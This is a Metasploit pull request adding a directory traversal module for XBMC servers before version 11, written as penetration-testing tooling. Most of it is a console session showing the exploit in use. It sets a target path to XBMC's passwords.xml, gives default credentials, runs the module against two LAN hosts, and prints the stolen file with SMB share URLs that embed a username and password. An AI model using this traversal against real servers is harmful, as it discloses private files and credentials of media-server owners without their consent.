rapid7/metasploit-framework — pull request #1511 by mandreko (2013-02-21 20:54:11+00:00)
Title: XBMC <11 Directory Traversal Exploit

This module can disclose remote files of XBMC servers running the HTTP service (default port 8080).

It at least passes msftidy, and will run. Here is the output running against a jailbroken Apple TV 2. (Note the FILEPATH would change per platform, and can simply be /etc/passwd as well)

420-1572-man:Development mandreko$ msfconsole

______________________________________________________________________________
| |
| METASPLOIT CYBER MISSILE COMMAND V4 |
|______________________________________________________________________________|
\ / /
\ . / / x
\ / /
\ / + /
\ + / /
* / /
/ . /
X / / X
/ ###
/ # % #
/ ###
. /
. / . * .
/
*
+ *

^
#### __ __ __ ####### __ __ __ ####
#### / \ / \ / \ ########### / \ / \ / \ ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
http://metasploit.pro

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1048 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/http/xbmc_traversal
msf auxiliary(xbmc_traversal) > show options

Module options (auxiliary/scanner/http/xbmc_traversal):

Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 9 yes The max traversal depth
FILEPATH /private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml no The name of the file to download
PASS xbmc yes The password to use for the HTTP server
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
THREADS 1 yes The number of concurrent threads
USER xbmc yes The username to use for the HTTP server
VHOST no HTTP server virtual host

msf auxiliary(xbmc_traversal) > set rhosts 192.168.1.102, 192.168.1.103
rhosts => 192.168.1.102, 192.168.1.103
msf auxiliary(xbmc_traversal) > run

[+] File saved in: /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml
[*] Scanned 1 of 2 hosts (050% complete)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(xbmc_traversal) > cat /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml
[*] exec: cat /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml

smb://192.168.1.2/Movies
smb://xbmc:xbmc@192.168.1.2/Movies/

smb://192.168.1.2/tv
smb://xbmc:xbmc@192.168.1.2/tv/

smb://192.168.1.2/Music
smb://xbmc:xbmc@192.168.1.2/Music/

msf auxiliary(xbmc_traversal) >